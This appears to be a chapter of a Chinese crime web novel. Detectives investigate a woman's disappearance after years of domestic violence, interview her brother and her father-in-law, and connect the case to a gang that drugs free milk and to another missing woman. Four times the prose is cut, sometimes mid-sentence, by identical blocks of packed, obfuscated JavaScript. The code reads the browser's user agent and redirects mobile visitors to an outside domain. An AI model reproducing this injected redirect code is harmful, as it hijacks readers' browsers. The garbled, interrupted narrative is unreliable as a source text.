大门内侧浮现出了几个血掌印,让这座房子顿时变成了“凶宅”。 血掌印中最为清晰的一个是在门的中部,随后位置越来越低,血痕也变得模糊不清。 可以想象,唐爱莲曾经挣扎着来到门口,试图开门,在受到了连续的暴击以后,颓然倒地。 “根据血液的形状判断,门口处的,应该是这一次……”贺临拿起了茶几上的病历本,指了指其中的一张,虽然他看医生写的病例眼晕,但是不影响他看图。 黎尚拿过来道:“手心被刀割破,缝了十三针。” 方觉也探过头来:“病历上写的是病人自称做饭时不慎……这不是睁着眼说瞎话吗?这刀要多大力气才能以这种角度砍到手心里呢?“ 徐警官的脸色如同这房间一般斑斓多彩,他一边擦汗一边道:“我们没有收到报警记录。那男人看起来挺老实的,我们之前还真没看出来……” 吴韵声和贺临看了他一眼,看破没说破。 徐警官是分局的刑警,每天里在基层跑来跑去,怎么可能没有遇到过家暴的案子? 作为一名老警察,那些家暴男往他们眼前一站,闻着味就能分辨出来。 但是家暴案又往往是最难办的案子,深浅不好处理。有时候一听说牵扯家暴,警员自己先头疼了。 所以基层办案有条潜规则,如果苦主自己不说,民警们一般是不会主动多事的。 技侦人员把成片的血迹做上标识,分别提取。 这时,黎尚在鲁米诺试剂的味道中又捕捉到了一股不太浓烈的异味,他跟着味道来到了厨房,打开了一个柜子,从里面的角落处取出了一盒喝了一半已经发霉的牛奶:“这里有盒牛奶。” 方觉道:“黎哥,你鼻子真灵!” 贺临和老吴还没说什么,那位徐警官先皱眉走了过来。 他的目光盯在牛奶盒子上打量了一会,明显觉得有些异常。 方觉心直口快地问:“这盒牛奶有问题吗?“ 徐警官这才说了:“我们分局之前就在调查附近的几起入室盗窃,案件的特征之一就是盗贼会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704461|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化装成送奶工上门推销,我记得就是这个牌子的牛奶,没想到在这里出现了。” 他这么一说,其他几人也想了起来,他们之前也听说过这件事,只是一时没有联想到。 老吴是听邻居说起过。 贺临是在市局的工作简报上看到的。 方觉更是直接就叫了起来:“是不是之前短视频里说的什么‘牛奶大盗’?” 几人之中,唯有刚刚来到云城的黎尚不知道他们是在说什么,可偏偏那盒牛奶的重要线索是被他发现的。 新媒体的标题起得像是童话故事,讲述出来的事实却并非美好。 云城之前发生了一系列的入室抢劫案,作案的是一伙人,具体的人数未知。 他们的目标是城市里的独居者。 窃贼们会事先收集独居者的信息,在门口做好标记,然后在下午的时候假装是牛奶推销员上门,留下几个鸡蛋,一盒临期的牛奶,挂在门口把手上,写明供住户免费试尝,还会留一个订奶的联系方式。 俗话说得好,有便宜不占王八蛋,很多年龄偏大的中老年人就是抵御不了免费鸡蛋和白给牛奶的诱惑。 他们通常会把牛奶喝掉,殊不知那些牛奶是被加了麻醉剂的。 晚上等到独居者熟睡的时候,就会有窃贼进入,穿着鞋套带着手套,悄无声息地卷走现金和财物。 最初的几起案件,警方以为只是普通的入室盗窃,调查起来毫无头绪。 那些匪徒们会选择下雨或者是月黑风高的夜晚,挑选没有监控或者是保安稀疏的小区。 现场没有留下什么痕迹,拿走的也仅是现金和部分财物,被盗的独居者往往都一觉睡到大天亮,什么响动都没听到。 开始时,受害者也并没有把窃贼和免费的鸡蛋牛奶联系起来。 直到有一次,一位受害人把牛奶放入了冰箱,准备明早再喝。她半夜起来上厕所时和进屋的窃贼正好对上,女人吓得惊叫起来,盗贼夺路而逃。 事后女人回忆起了那盒牛奶,警方化验之后,在其中发现了麻醉药物的成分,这才确认了那伙人的作案手段。 那些药物的使用,大大增加了他们的成功率,也增加了警方的破案难度。 之前云城市局就在缉拿这群入室抢劫的牛奶大盗,警方在各个社区宣传,让门卫小心伪装成牛奶公司的人,提醒人们不要贪小便宜,损失财务。 在郭木春失踪的那几日,这个团伙正好在附近的小区里作案。 随后,牛奶大盗就销声匿迹了,很快被新的新闻所取代。 现在想想,郭木春倒是符合这伙人的目标特征,他独自居住在一个保安不多的老旧小区,而且现在黎尚发现了柜子里喝剩了一半的牛奶。 他的失踪会和那些牛奶大盗有关系吗? 贺临把那盒长满霉菌的牛奶交给了技术人员,让他们带回去化验里面是否有麻醉成分。 方觉挠了挠头:“我之前看视频上说,牛奶大盗主要是图财,之前并未杀过人。” 吴韵声分析:“虽然他们过去没杀过人,但是也不能排除被郭木春目击之后进行灭口的可能性。” 贺临沉思片刻道:“如果这案子真的和那些盗贼有关,那就需要并案调查了……” 徐警官给他们指路:“牛奶大盗的案子因为分局的警力有限也上报了。现在案子在市局反扒队那边。你们是兄弟部门,说不定可以一起查办。” 6.03 下午四点半,徐警官和技侦的人收好东西以后先后撤了,只剩下调查科的四人。他们约了相关家属,等下就在屋子里谈话。 贺临道:“我们继续搜查吧,查漏补缺,记得把他们当做活生生的人,而不是案卷上的文字。” 几名警员开始更为仔细地搜寻。 家是什么地方? 日日夜夜,两个人曾在这里朝夕相处。 装修方式,物品的放置,日后的打扫,微小的生活痕迹中可能都蕴含着重要的意义。 随后四个人翻出了更多的东西。 贺临带着他们一起进行侧写,像是给一具枯骨附上了血肉,唐爱莲的形象在他们的脑海里逐渐丰满了起来。 这是个爱干净,很安静,好心肠的女人。 “唐爱莲应该有洁癖,她的东西都摆放得整整齐齐的,她的生活很拮据,衣服不多还都是旧的。” “当年孩子的小衣服她还留着……” “她的柜子底下有一些希望小学的捐款记录,都是小额的,但是加起来有几千。” “虽然唐爱莲的文化程度不高,但是看的书不少,这里有份手抄的佛经,还有一些请的香。她好像曾经在庙里做过义工。” 方觉的动作一停:“你们说,有没有可能,这个女人跑到了很偏远的尼姑庵去出家了啊?” 吴韵声摇头:“想要进入尼姑庵也是要拜师的,至少需要身份证师傅才敢收。” 方觉的想法被否掉了,他哦了一声继续去搜查。 这种头脑风暴的过程就像是在草原上点起一个一个的火点,错误的就按灭下去,谁也不知道哪个想法会忽然点亮整个世界,帮他们找到那个人。 另一间房间主要放的是郭木春的东西,两个人看起来泾渭分明。 郭木春和唐爱莲完全不像是一个世界的人,这个男人邋遢,各种衣服和臭袜子放在一起。 唐爱莲失踪后,家里没人打扫,厨房的柜子上有了一层黄黄的油腻。 他酗酒,各种酒瓶摆满了半个阳台。 他喜欢看足球,还喜欢和一群狐朋狗友聚会,柜子抽屉里还有一些印着各种美女电话的小卡片。 翻了一会,贺临过来问:“有什么重要的新发现吗?” 黎尚摇头。 “郭木春的失踪似乎线索更少。这男人简直是娶了个仙女一样的女人,怎么不知道珍惜?”方觉忿忿道,“我希望唐爱莲活着,她被伤得这么惨,肯定是逃到哪里去了,故意躲着不回来。” 吴韵声的神色略微有些凝重:“这些东西也说明她的善良,软弱可欺,被害的几率同时也增加了。” 几个人刚聊到这里,门外传来了一阵哒哒的敲门声。 方觉急忙起身开门,门口处站着一位看上五十来岁的男人,身材微胖,头顶略秃。 一进门男人就点头哈腰:“警察同志们好。”随后不等问询,他就搓着手自报家门,“我是唐爱莲的哥哥,唐爱竹。” 贺临让他坐在客厅里的餐椅上。 他喜欢在非市局的地方询问这些证人,关在审讯室里虽然有一定的威慑性,但会让很多人的回答变得非常小心。 对于失踪案件,很多线索会隐藏在生活的细节之中。 熟悉的环境会让知情人更为放松,可以给警方提供更多的信息。 众人走到桌前,贺临和吴韵声负责问话,两人坐在唐爱竹的对面,黎尚和方觉作为记录和旁听坐在一旁。 黎尚按照工作流程查验了他的身份证和个人信息。 贺临对他小声道:“等下本子上能记多少记多少,反正有录音笔,还有语音转换文字的软件,可以回去整理。” 黎尚道:“没关系,我记得下来。“ 问询很快开始,问到唐爱莲失踪的事,唐爱竹的表情停顿了一会:“我觉得我的妹妹还活着。” 贺临敏锐问他:“她联系过你?或者你知道一些什么?” 唐爱竹摇了摇头:“只是我的直觉,或者说是希望。她不敢联系我的……” 他说到这里,手紧握了一下,腮部的肌肉一紧,明显在咬着牙:“我们家的人尝试过寻找妹妹,郭木春也想尽了各种办法找她。”他顿了一下,重复道,“他一直在各处找她。” “具体你们做过什么?” “报警,登报,贴寻人启事,网上发帖子,能做的都做了。”唐爱竹耸肩,“结果你们都知道,到现在人还没找到。” 贺临问:“你为什么肯定郭木春一直在找你妹妹?” “我妹妹失踪以后,郭木春几乎把她能去的地方能投靠的人都找遍了。包括我妹妹去做义工的庙里都去过好几次。他隔三差五,喝了酒就去我家闹事,差点对我爹妈动手。我爹妈死了以后,他也来找过我。最初我觉得我妹妹可能是被他杀了,可是后来我又觉得,如果真的人死了,他做戏几个月也就够了,犯不着一连装了两年。” “所以我就觉得,我妹妹应该是离家出走了……”他顿了一下问,“姓郭的是怎么了?我听说他也不见了?” 贺临:“目前还在调查之中。” 唐爱竹长出了一口气:“我妹妹有家不能回,都是他逼的。我希望他死了,如果他没了,我妹妹才算是解脱了。” 几人都听出了唐爱竹对这个妹夫的恨意。 吴韵声在一旁问:“郭木春是不是打过你妹妹?” “何止是打?”唐爱竹的眼睛红了,“我妹妹当初找工作,去了一家老国企电子厂。姓郭的算是她的小领导。我妹妹和他谈了半年就非他不嫁。我们都反复劝她,也让她相过亲,可她当时就认准了这个男人。我爹妈只能给他们操办了婚事,连彩礼都没收。” 唐爱竹越说越气。 “事实上,姓郭的只是想要个免费保姆,只想着怎么让她听话。” “他们刚结婚不久,我妹妹回家的时候就经常带伤,我们怎么问她也不说。我妹妹就是脸皮薄,好欺负。姓郭的后来拿准了她的性格,就开始变本加厉。” 一旁的黎尚低头,脸上面无表情,手中的笔记得飞快。 贺临问:“你妹妹没想过离婚?” 唐爱竹道:“这事,也怨我爹。” 他长叹了一声:“我爹在世时是个老古董,有一次我妹妹哭着回来,说是挨了打,还说想要离婚。我爸骂她,说她这么跑回娘家万一别人知道了丢他的人,说她肯定是不守妇道做了什么不好的事惹了姓郭的生气,还说人是她自己选的,现在被打了也是活该。嫁鸡随鸡嫁狗随狗,谁家过日子不吵架的?他还说,如果我妹妹非要离婚,他就不认我妹妹这个女儿了。” “最后我妹妹是被我爹送回去的。”唐爱竹说到这里又是长吁短叹。 贺临问:“你有没有过问过这些事?还有,你那边有没有拍下来的照片和证据?” 唐爱竹道:“作为哥哥,我本来是有点气不过的。可是我老婆说,夫妻吵架床头吵架床尾和,我爹也让我多别管闲事。再说了,那都是十多年前的事情了,我怎么会想着留证据和照片?” 说了这些话以后,他似是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717963|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些不落忍,身子在椅子上动了动,为自己这样的行为辩解道:“当年……我就有糖尿病,身体不好,打不过郭木春。我只能和妹妹说,受了委屈就来找我。做哥哥的给她做主。可是后来她没来找过我。” 贺临轻叹一声。 这个女人曾经是孤立无援的。 迂腐的爹,事不关己的哥哥,身处一室犹如猛兽的丈夫,性命像是被别人随时握在掌心之中,她还能依靠谁呢? 唐爱竹缓了一会才继续道:“后来过了一段,我妹妹好像又不说离婚的事了,反正就好一阵坏一阵的。现在想来,如果我当时强硬一些,也许后面的事就不会发生了……” 吴韵声问:“接下来发生了什么?“ 唐爱竹继续说:“我妹妹二十四岁的时候,生了一个孩子,有了孩子以后,他们安分过一段日子。后来忽然有一天早上,我妹妹和我哭着打电话……说孩子没了。那时候孩子刚几个月吧,说是半夜从床上掉下来磕到了脑袋,孩子当时没怎么哭,他们就以为没大事。第二天早上一看,孩子翻了白眼,刚送到医院,人就没了。” “我去了那孩子的火化仪式。我妹妹的眼睛都肿了,姓郭的却哭得假惺惺的,还安慰她以后再要一个。”唐爱竹说到这里,眼神惶恐,他压低了声音,“但是我知道,姓郭的一直不喜欢孩子。以前听到孩子哭就会大声说烦,孩子一直是我妹妹带的,甚至我怀疑是姓郭的故意把孩子摔死的……” 贺临问:“有证据吗?” 唐爱竹摇头:“没有,我猜的,我妹妹都不闹,我还能怎么说,万一真的只是不小心呢?” 听到这里黎尚望向了贺临。 两个人仅是眼神交流,就已经明白了对方的意思。 如果孩子的死真的有什么问题,事情的结果也已经说明了唐爱莲的无奈。 也许苦于没有证据,也许是被威胁,也许是委曲求全也许另有原因。 总之,她的孩子,就这么没了。 “两个人又好了一阵,到了三十多岁,姓郭的也收敛了一些。几年以后,我妹妹三十六的时候又怀孕了,这次还没等到生,大概六个月的时候,她说下楼梯摔了一下,孩子又没了。我妹妹没了生育能力,姓郭的也没再提要孩子的事。” 黎尚在纸上画了一个问号,这次看似意外的流产是否又是郭木春的杰作,恐怕也只有当事人才知道了。 “后来就是断断续续的,我妹妹脚腕扭过,胳膊也脱臼过,隔一段就会去趟医院。我猜她过得不好,但是她也不再向家里诉苦了。” “慢慢的,我也人到中年,爹妈孩子老婆,有更多的事情要忙。” “到了四十多岁,逢年过节见到她,她说自己退休了,偶尔会在庙里当义工,心胸开阔了好多。我当时还觉得她苦尽甘来了……” “大概是两年前吧,也就是她四十四岁失踪前一段的时候,我妹妹又给我打电话说在医院,那时候她说家里的钱存了定期,不够做手术的,能不能借她点。我去医院一看,她的手被刀砍伤了,缝了好多针。” “我去帮她交了钱,回来就看到郭木春跪在她面前。” “我妹妹就那么呆愣愣地坐在医院的椅子上,整个人惨白惨白的。我刚要问,郭木春看到我来了,站起来走了,他身上好大的酒味。” “到那时,我才确定,郭木春的酗酒和家暴从未停止过。我问了我妹妹,是不是去爹妈家或者去我那里住住。她说不用麻烦了,钱会过一段还给我的。” “后来,她还是跟着那个男人回家了……” 7.04 贺临看了看黎尚的记录册,他的写字速度很快,唐爱竹所说的关键信息以及时间点都被他仔细记了下来。 家暴有过第一次,就有第二次,伤害总是变本加厉的。 听完唐爱竹的这些陈述,贺临可以想象到,那个女人眼里的光逐渐没有了。 她也曾经年轻过,以为自己嫁给了爱情,可最后的结果却是进入了一个名为家的牢笼。 也许她终于有一次没躲过,死在了这个男人的刀下,也许离家出走是这个女人最后的挣扎。 贺临问:“后来呢?” 唐爱竹说到这里挠了挠自己所剩不多的头发:“后来……伤好后,她去我家把钱还给了我,不久后,她就失踪了。那次还钱就是我最后一次见她。” 大概讲完了唐爱莲的故事。 贺临问唐爱竹:“你最后一次见到她时,她有没有什么异常,有没有说什么特别的话?比如想要去做什么事,见什么人?” “当时我们就见了几分钟,她把钱给我,没说什么别的。她急匆匆的,好像有事的样子。” “有什么事?” 唐爱竹沉默摇头,事情毕竟发生在两年前。 贺临又问:“就你所了解的,唐爱莲有些什么朋友,她可能会在哪里?” 刚才还在滔滔不绝讲述的男人卡壳了,过了一会才支支吾吾地说:“在她孩子死后,我们来往不多了,就我所知她没什么朋友,要不然当初也不会想到找我这个哥哥借钱。” “那关于郭木春呢,你知道什么?” 唐爱竹哼了一声:“那个男人,我巴不得他死了,他不是喜欢喝酒吗?说不定是出去喝酒醉死在哪里了。” 老吴又加问了几句,确定从他这里挖不出什么信息。 唐爱竹看警察们不再问了,他的目光往屋内望去,主动打听起来:“如果我妹妹还活着,这房子应该是她的吧?” 吴韵声一眼就看穿了男人的心思:“我们是警察,只负责调查案件。” 唐爱竹给口供签完字。 方觉和黎尚去送他出门,唐爱竹都走到门口了,又回过头道:“这房子是我妹妹苦了大半辈子才攒钱买的,她前半辈子都和那男人住在发了霉的房子里。就算是补偿,这里也应该是给她的……” 贺临给他支招:“遗产的事你可以走法律途径,找个律师咨询着。”随后他小声道,“当然,最好的方式是你能帮着我们找到你妹妹,那比做什么操作都管用。” 唐爱竹往出走了几步,忽然又顿住了脚步:“对了!” 看起来是贺临的“点拨”有了作用,他问:“你想到什么了?” “那天我最后一次见她时,她把钱给我,聊了几句以后,她的手机就响了,当时她好像在打电话,我听到她叫对面的人……”说到这里,唐爱竹皱眉想了一会,“是种颜色,好像是叫什么姐?” “颜色?”方觉脱口而出,“赤橙黄绿青蓝紫!” 唐爱竹摇头:“不,不,都不是……” 吴韵声:“金,银?” 黎尚:“黑,白,灰?” 唐爱竹的眉头紧锁。 贺临:“红……” “对,红!就是红!红姐!”唐爱竹的眉头随之松开,哈哈笑出了声,“你们顺着这条线索好好找找,说不定可以找到人。” 贺临问:“电话是关于什么的?” 唐爱竹摇摇头:“这个不清楚了,真的只知道这么多了,我这个记性,能想起来那个红姐已经是超常发挥了。” 黎尚回到座位,把这几句口供补上,随后在“红姐”这个名字上,画了一个圈。 . 送走了唐爱莲的哥哥,过了一会,郭木春的父亲郭自应来了。 老头看上去八十多岁,走路生风,精神还挺好的。 黎尚依然是按照规定走过流程,登记了他的个人信息。 郭老头说话做事一副老流氓的态度和语气,对警方的问题不太配合,有的不想回答就装作耳背,时不时摇头说自己不知道。 贺临问到了郭木春打唐爱莲的事,老人的表情终于有了些许变化。他哼了一声道:“男人哪有不打老婆的,打几下算个啥。” 有这样的爹,不奇怪会教出那样的儿子,贺临的表情有些不悦,眉头微皱。 黎尚也略微停顿,抬头看向老人。 方觉的胸口起伏,明显是憋着一口气,忍了一会直接小声嘀咕:“家庭暴力是犯法的。” 他说的话是没错的,可是用在这里,可能会让审问之中的关系恶化,更不利于问出信息。吴韵声在桌下伸手拉了他一把。 方觉这才别过脸去,不说话了。 郭自应看着眼前的小警察,厚着脸皮笑了:“那就去告呗,我也打过老婆,好多次呢,去告我吧。要是把所有打过老婆的男人都抓起来,监狱还不够用呢。” 感觉到了气氛的紧绷,吴韵声打了个圆场:“具体情况具体分析,我们先说眼下的案子。” 郭自应道:“你们是不是先见过姓唐的了?别信唐家的人胡说八道。我儿子是和他老婆有点摩擦,但是关系好着呢,要不然那女的怎么会这么多年都不离婚,生不了孩子了还赖着不走。” 贺临把话题扯回来:“你那里有没有唐爱莲的新消息?” 老头没直接回答:“不管是生是死,那婆娘跑了快两年了,就该让我去注销她的身份。我儿子现在不见了,这房子总不不能落在外人手里。你们快把案子破了,我也省得麻烦。” 贺临道:“想让我们破案,你得配合我们的工作,告诉我们相关事实。让我们帮忙找到你儿子。” “我要是知道他在哪里,还报警干什么?”老头说到这里稍微一顿,神秘兮兮道,“如果那女人还活着,犯罪了,也没法和我抢这房子吧?” 他这样的语气和神态,不见担心也不见伤心,完全不像是个儿子失踪了的老人,活脱脱一个准备好讹人的老流氓。 贺临答他:“那要看究竟犯了什么罪。” 郭自应这才开口:“如果她还活着,说不定她和我儿子的失踪有关系。” 贺临抬眸,目光锐利:“怎么说?” 郭自应这才开口道:“我儿子找了她两年了,最初他是单纯有感情,想找他老婆,后来嘛,就是想要报复。” 贺临眉头微皱:“报复?” 郭自应皱纹叠起,笑得阴森森的:“那女人就这么一走了之,哪里有这么便宜的事?这是背叛。我儿子说,等他找到她了,一定要把她打个半死,然后栓在家里。他要是心情不好,把她掐死也是活该的。他查过了,这种情况判不了死刑,蹲个几年出来了。” 老人的话,让人不寒而栗。 方觉的脸色更难看了,要不是刚才师父提醒过他,这时候他都要忍不住骂出来了。 其他几人也面色微沉,他们听得出,郭木春和老人说这些话时绝对是动了这种心思,不是在开玩笑。 郭自应说到这里,舔了舔嘴唇:“就在我儿子死前不久。他和我说,‘他快要找到那个臭娘们了……’” 贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730647|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临问:“他有没有说他发现了什么?” 老人摇头:“不知道,他没和我细说。总之,你们不把我儿子找到,我可不会善罢甘休的。” 等郭自应离开,黎尚合拢上了记录册,薄唇轻启,低声骂了一句:“垃圾。” 贺临没听清:“什么?” 黎尚抬头看他:“我说家暴的男人,都是垃圾。” 他的脸上依然没什么表情,话语冷冰冰的。处理工作时,他看起来事不关己,更不会像方觉那样沉不住气直接发作,可他还是有自己的喜恶。 “说得没错。如果我们找到唐爱莲,房子就不会到这老头的手里。”贺临问他,“怎么样?记录还跟得上吧?” 黎尚道:“口供我晚上整理出来。” 今天贺临给他申领了办公用的笔记本电脑还有平板,可以回家使用。 “也不用这么急,这案子得查几天呢。”贺临教他,“我们查失踪案和刑事案件不太一样,并不急于一时。而且破案这件事,需要剥丝抽茧,有句话叫做欲速则不达。有时候休息休息,反而会有灵感。” 贺临会在必要时加班,下属们加班他也不拦着,但是他并不提倡这种行为,就像他自己,如果超过了工作时间,他感觉到了自己的状态下滑,会马上停止去干点别的。 看似是在休息,但放松了以后,有时候调查的思路却会自己从脑子里冒出来。 心在案子上比身体在座位上更有效率,找到自己的节奏和适合的工作方式才更重要。 黎尚道:“知道了。”也不知道这话听进去没有。 贺临又问他:“有调查思路吗?” 黎尚想了想:“接下来可以去查查那些牛奶大盗,还有那名红姐。”他顿了一下又说,“我觉得这些人似乎都不关心唐爱莲和郭木春的死活,只关心这套房子。” 甚至说,如果没有这处房子,这个案子可能都不会到市局里来。 “正常的。”贺临道,“你接触多了就知道了,人的死亡或者是失踪,只有至亲和挚爱才会伤心。和周边的其他人,真的是毫无关系。” 贺临的话有点凉薄,说的却是事实。 已经是日落西山,调查科这边也准备收队了。 下楼以后,贺临看了看时间,过了下班的点:“今天大家辛苦了,晚上不用回去打卡了,各回各家吧。” 吴韵声和他们告了个别,直接就往小区外面走。 方觉叹了口气:“那我把车开回去。” 黎尚看出了他的为难,今天来的时候,方觉和他说过,自己家就住在附近。他主动道:“我帮你开回去吧,我租的房子就在市局旁边,还要回去取下电脑,正好顺路。” 一听这话,方觉的眼眉顿时飞起:“黎哥靠谱,我可太爱你了!” 黎尚接过了队里的车钥匙,问贺临:“贺队,用我送你吗?” 贺临拒绝了他,摆了摆手:“我坐地铁回去,直达。” 黎尚望着他的背影,等贺临离开才收回了目光。 方觉不放心地和他说了一堆警用车的使用条例,黎尚轻轻点了下头:“我记住了。” 他上了车,熟练地开了出去。 车上没人,黎尚也放松了下来,他完全没了之前在同事面前的拘谨,表情之中多了一份淡然。 黎尚很快就熟悉了车的操作,没有用导航,凭着记忆汇入了晚高峰的车流,白色警用车灵巧地在道路上穿梭。 等他把车停到了市局里的固定车位,在没超速的情况下,只用了十几分钟。 8.05 天色已经全黑了,空中缀着一轮明月。 市局办公室里的大部分灯都还亮着,其中就包括失踪调查科的那一盏。 黎尚走上楼以后,程笑衣还在,她面前摆着一份外卖米粉,冒着热气,正准备享用。 看到有人回来,程笑衣微微一愣:“怎么就你一个人回来了?” 黎尚给她看了下车钥匙:“那边离方觉家比较近,其他人直接撤了,我把车开回来,顺便拿下今天发的办公笔记本。”他取好了东西,问她,“你怎么还不回家?” 程笑衣指了指桌子上的档案:“还差很多没看完,我怕拖了队里的进度。反正我一个人租房子住,在家也是无聊,闲着也是闲着。” “需要帮忙吗?”黎尚问她。 “行啊。我看了一天眼睛都有点花了。” 程笑衣并没有拒绝新同事的好意,她把剩下的案卷递了几本过去。 黎尚接过来,拿起第一本翻看起来。 程笑衣的位置在黎尚的侧前方,白天的时候黎尚进来,她就觉得眼前一亮,但是毕竟是异性同事,白天人多,她也不好意思仔细盯黎尚着看。 现在晚上的办公室里,只剩下了他们两个人。白色的灯光洒下来,照在黎尚的脸上,让程笑衣一时有些晃神。 黎尚的皮肤是那种冷白色,在这遍地糙汉的市局实在出挑。 他的眉目生得也好看,眉毛没有修过,天然就是那种远山黛一样的淡眉,再配上鸦羽一般的睫毛,安静不说话的时候,透着一股冷清,实在是赏心悦目。 程笑衣看着帅哥下饭,她吃了两口米粉问黎尚:“你要不要点个外卖?” “不用,我回去再吃。”黎尚果断拒绝了她的好意,他依然低着头,神情专注,“这些半个来小时应该可以处理完。” “半个小时?!”程笑衣发出了一声惊叹,“怎么可能?我花了一个下午,也只看了三分之一。” 如果是程笑衣来处理,剩下的这些,少说也需要五到六个小时才能看完。 “现在是两个人在看了,而且我看东西比较快。”黎尚道,他仿佛只是在描述一件稀疏平常毫无难度的事。转眼之间就把手中的案卷放在了一旁。 “那个,你真的仔细看了吗?”程笑衣觉得黎尚没有领会这项工作的意义,“这可是不能错漏的。万一有关联的案件没有查看出来,不光会增加破案的难度,还可能会带来严重后果……” 她想了想又给黎尚举了个例子:“曾经有一起连环失踪案件,当时负责排查的警员没有找到一起几年前的关联案件,是贺队在翻找旧档案时,发现失踪者家里有一个鞋子上的绳结打得比较特殊,这才没有错过。很多案件之中有着隐藏的关联,复印件还会丢失细节,这是我们比对时不用电子档,坚持要用纸档人工比对的原因……” 黎尚没有和她解释,而是把刚才看完的案卷递给了程笑衣:“你可以问我。” 程笑衣把米粉放到一旁,将信将疑地把案卷接了过来:“那你说说吧,案发时间是什么时候。” 这个问题毫无难度,黎尚从时间地点,失踪人姓名,身份证号一路说了下去。 程笑衣的眼睛逐渐睁大…… “失踪者的家庭住址是白龙岗路543号小区4-302,车牌号是YB2783……”不光有这些细节,黎尚还简单描述了一下整个失踪过程……提起了文件里一行小字标注的细节。 程笑衣的嘴巴微微张开了,等黎尚全部说完她才反应了过来,有些不可思议地感慨:“记忆力真好。” 何止是好,简直是过目不忘。 程笑衣振作了,几口吃完了晚饭,继续进行案卷筛查工作,有了黎尚的加入,速度一下就快了起来。 黎尚给自己到了一杯热水,接下来像是老干部一样开始工作。 他教给了程笑衣一些简单的排查诀窍,两人先简略快速地把所有案卷过了一遍,根据情况分门别类,再拿出几份重点排查。 他们很快把范围缩小到了三份案卷,黎尚递给了程笑衣:“这几份需要复印一下。” “好的。”程笑衣起身,等她站在了复印机前,忽然觉出来事情有点不对,她怎么这么听话地按照黎尚的话在做事? 程笑衣复盘了一下。 开始的时候还是他们商量着来,黎尚并不像是白天在贺临身后时的安静听话,而是很有自己的主见和想法,他的态度温柔有礼,给出的方案高效理性,的确是更好的解决方案。 而且他还教给了她很多简洁的处理方法。 后来在不知不觉之中,黎尚就逐渐占据了主导……这一切就这么自然而然地发生了。 想清楚了以后,程笑衣释然了。 她不是一个爱计较的人,谁能力强谁上,天塌了有高个子顶着,反正都是为了完成工作,她乐于配合。 而且,黎尚足够优秀,如果不是他愿意帮忙,她可能要加班到很晚,到明天都不一定能做完。 对于黎尚的帮助她还是挺感激的。 除了复印机发出的轻微声,办公室里一时安静,黎尚稍事休息,程笑衣随口问他:“对了,你以前是做什么的?” 黎尚似乎是犹豫了一下,还是回答她:“特战。” “特战?”程笑衣微微吃惊,“那你是文职吗?” “不,不是。”黎尚否认了,没说自己是做什么的。 程笑衣更加好奇了。 黎尚斯文的样子和她印象里的特战不太一样。 程笑衣又说:“我听说,贺队以前也是特战队的。” “嗯。”黎尚低低应了一声。 相比较黎尚,贺临的个子更高足足有一米八七,他的身材更为健硕,一双长腿,干事利索,绝不拖泥带水,似乎更符合程笑衣心中特战的形象。 第一次认识贺队,她就感觉到了一种炙热,那个人像是正义的火,可控的火,会带给人们带来光明,带来温暖。而黎尚却斯文安静,像是块冷静的冰。 程笑衣问:“那你以前认识他吗?” 黎尚略微顿了一下,没有直接回答她:“他很优秀。” 看起来,两个人可能以前在临近的部门。 聊到这里,复印机发出了咔的一声,程笑衣拿着复印好的资料走过来递给黎尚。 黎尚又给她一张便签:“这几个问题需要查询一下。” 程笑衣坐在了电脑前,把资料汇总后打印,乖乖地做着秘书工作。 又过了片刻,黎尚把其中的三份案卷挑了出来:“有一份可能有些关联。其他的有两份不能排除相关性。” 程笑衣侧头看了看时间,一共花费了三十八分钟,果然如同之前黎尚所说的,半个小时多一点就能完成工作。 她翻看着那份被黎尚最终挑选出来的关联案卷,那是一份二分局的失踪卷宗。 失踪者是一名二十六的年轻女人,名叫刘予舒,报案者是失踪人的家人。 她皱眉问:“这两份案卷的近似点是……” 相比较于唐爱莲,刘予舒更年轻,更美貌,学历也更高。 这两个案件的失踪者情况完全不同,年龄差得有些多了,生活区域也不同。 很难想象这两起失踪案在背后会有什么联系。 黎尚指出:“都是丈夫报案,丈夫有家暴嫌疑,家庭关系近似,最主要的是失踪地点和失踪时间。” 他用手机打开了云城地图,放大之后给程笑衣看,那是刘予舒最后打车的下车点。 程笑衣惊讶了: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 